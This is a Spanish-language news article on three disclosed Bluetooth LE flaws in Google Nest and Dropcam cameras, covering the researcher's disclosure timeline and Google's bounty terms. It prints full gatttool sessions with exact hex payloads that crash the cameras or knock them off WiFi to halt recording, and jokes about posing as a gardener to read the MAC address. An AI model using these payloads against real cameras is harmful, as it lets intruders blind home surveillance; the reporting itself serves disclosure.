Google Nest presentó cámaras de vigilancia que se apagan fácilmente a través de Bluetooth

La inteligencia artificial para detectar personas Google AI Nest Outdoor Cam no ahorra de la piratería fácil

La protección más tecnológica no siempre es la mejor. Al agregar complejidad al sistema, agrega nuevos vectores de ataque. Sucede que es más fácil para los secuestradores robar los autos más caros y modernos con llaves de radio que las viejas "cosas de hierro". Casi lo mismo con seguridad en otras áreas.

Otra víctima de los crackers fueron las elegantes cámaras de vigilancia Google Nest: modelos Dropcam, Dropcam Pro, Nest Cam Outdoor y Nest Cam. El código para hackearlos ya ha sido publicado en GitHub , y Google aún no ha lanzado parches. Puede practicar apagar sus cámaras de vigilancia hoy (las suyas, por supuesto).

Se ha publicado información sobre tres vulnerabilidades, todas ellas permiten conectarse a la cámara a través de Bluetooth 4.0 LE (según las especificaciones, el alcance es de aproximadamente 100 m). Bluetooth siempre funciona en estas cámaras, es decir, generalmente es imposible desactivarlo incluso para el propietario.

La primera vulnerabilidad es el desbordamiento del búfer con la opción SSID sobre Bluetooth. Para causar un desbordamiento del búfer, debe intentar establecer un nuevo parámetro SSID con características incorrectas en la cámara.

Aquí hay un ejemplo de conexión a la cámara y configuración de la longitud SSID de 1 y 16 bytes a la vez.

anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.

Como resultado, la cámara se apagará, se reiniciará después de un error y volverá a su estado operativo normal.

La segunda vulnerabilidad es similar a la primera, solo que aquí el desbordamiento del búfer es causado por el envío de una contraseña de longitud incorrecta (en este caso, tres bytes y un byte). El resultado es el mismo: la cámara se reinicia después de un error con el retorno a las condiciones de trabajo.

anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.

La tercera vulnerabilidad es más interesante. Le permite desconectar temporalmente la cámara de la red WiFi, pasándole un nuevo SSID para la conexión. En estas cámaras, el video local no está disponible, por lo que la cámara transfiere todo a través de WiFi: todo el archivo se almacena en el servicio en la nube. En consecuencia, durante la desconexión de la red, la grabación de video no se guardará. La cámara tarda entre 60 y 90 segundos en volver al servicio después de tal pirateo y reanudar la grabación de video. En principio, este no es un intervalo tan largo, pero el truco se puede repetir durante el período de tiempo necesario.

anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b0a6574536d6172742d356e1a20232320
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3becb824ba437c13233ac2ff78b1776456e47a01
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ca5787d2f5e53f394a512200228003210bc9253
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3d48cada7a0d921d57b2d26ae89c3a04DEADBEEF
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3e
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>

Tenga en cuenta que en todos los ejemplos para conectarse a la cámara necesita saber su dirección MAC (18: B4: 30: 5D: 00: B8). Simplemente está escrito en el cuerpo de la cámara, por lo que en la práctica para hackear primero tendrá que acercarse a la cámara a una distancia bastante cercana. Por ejemplo, bajo la apariencia de un cortacésped, reparador o amigo de una futura víctima.


Una de las fotos de Nest Outdoor Cam muestra que la dirección MAC está escrita en el cuerpo de la cámara (línea arriba del código QR). Los desarrolladores lo ocultaron prudentemente detrás de un cable de alimentación

Tres vulnerabilidades en las cámaras están presentes en el último firmware de la cámara (5.2.1). El especialista en seguridad Jason Doyle los encontró el otoño pasado. Él dice que informó a Google el 26 de octubre de 2016, por lo que ahora parece que ha llegado el momento de la divulgación para todos. Esta es una práctica estándar si el fabricante no tiene prisa o no tiene tiempo para corregir los errores dentro de un tiempo razonable. En este caso, han pasado casi cinco meses.

Google generalmente paga recompensas a los investigadores por encontrar vulnerabilidades en sus productos. La recompensa de vulnerabilidad de Google también se extiende a las videocámaras Nest. Es cierto que Nest está en la tercera categoría más prestigiosa, donde la recompensa máxima es de solo $ 5,000 (para el resto de los productos: $ 31,337). Además, en esta tercera categoría hay una nota especial sobre un período de silencio de seis meses. Aunque Google reveló recientemente el día 0 explotado activamente en Windows y Edge después de 90 días ( 1 , 2 ).

Jason Doyle no pudo soportar el período de seis meses (26 de octubre - 17 de marzo), por lo que no podrá reclamar el premio. A diferencia de la práctica habitual, Google no notificó al investigador sobre los plazos aproximados para cerrar la vulnerabilidad y no apoyó la correspondencia con él. Al mismo tiempo, una fuente familiarizada con la situación le dijo a The Register que el parche estaba casi listo, por lo que Jason no podía tolerar gran parte de su recompensa.

Por cierto, algunas otras cámaras de vigilancia similares apagan Bluetooth cuando se establece una conexión WiFi, por lo que no podrán crackear de esta manera (por ejemplo, Logitech Circle). Google también podría optar por este simple truco para deshacerse de este tipo de vulnerabilidad.